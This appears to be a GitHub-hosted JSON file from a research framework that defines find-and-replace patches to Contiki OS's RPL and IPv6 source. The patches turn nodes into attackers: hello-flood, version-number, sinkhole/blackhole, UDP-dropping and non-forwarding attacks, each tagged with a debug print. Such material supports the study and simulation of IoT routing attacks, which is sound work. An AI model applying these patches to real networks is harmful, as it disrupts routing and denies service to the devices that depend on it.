-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbuilding_block
35 lines (34 loc) · 1.5 KB
/
building_block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
{
"hello-flood": {
"RPL_CONF_DIS_INTERVAL": 0,
"RPL_CONF_DIS_START_DELAY": 0,
"rpl/rpl-timers.c": ["next_dis++;", "next_dis++; int i=0; while (i<20) {i++; dis_output(NULL);} PRINTF(\"HELLO FLOOD CODE CALLED\");"]
},
"version-number": {
"rpl/rpl-icmp6.c": ["dag->version;", "dag->version++; PRINTF(\"VERSION NUMBER CODE CALLED\");"]
},
"sinkhole": {
"RPL_CONF_MIN_HOPRANKINC": 0,
"rpl/rpl-private.h": [
["#define RPL_MAX_RANKINC (7 * RPL_MIN_HOPRANKINC)", "#define RPL_MAX_RANKINC 0"],
["#define INFINITE_RANK 0xffff", "#define INFINITE_RANK 256"]
],
"rpl/rpl-timers.c": [
["rpl_recalculate_ranks();", null]
],
"rpl/rpl-icmp6.c" : [
["set16(buffer, pos, dag->rank);", "set16(buffer, pos, 128); PRINTF(\"BLACKHOLE CODE CALLED\");"] /* RootRank = 128, MinHopRank = 256 */
]
},
"drop-udp": {
"ip/uip-udp-packet.c" : ["if(toaddr != NULL) {", "if(0) {"]
},
"dont-forward-uip6" : {
"ipv6/uip6.c" : [
[" goto send; // send packet to next node",
"printf(\"dont forward uip6: not forwarding packet from \"); uip_debug_ipaddr_print(&UIP_IP_BUF->srcipaddr); printf(\" to \"); uip_debug_ipaddr_print(&UIP_IP_BUF->destipaddr); printf(\"\\n\"); goto drop;"]
/* problem is, there are several goto send; statements. Thats why we add the comment at the end! */,
["UIP_STAT(++uip_stat.ip.forwarded); // send packet to next node", "UIP_STAT(++uip_stat.ip.drop); // send packet to next node"]
]
}
}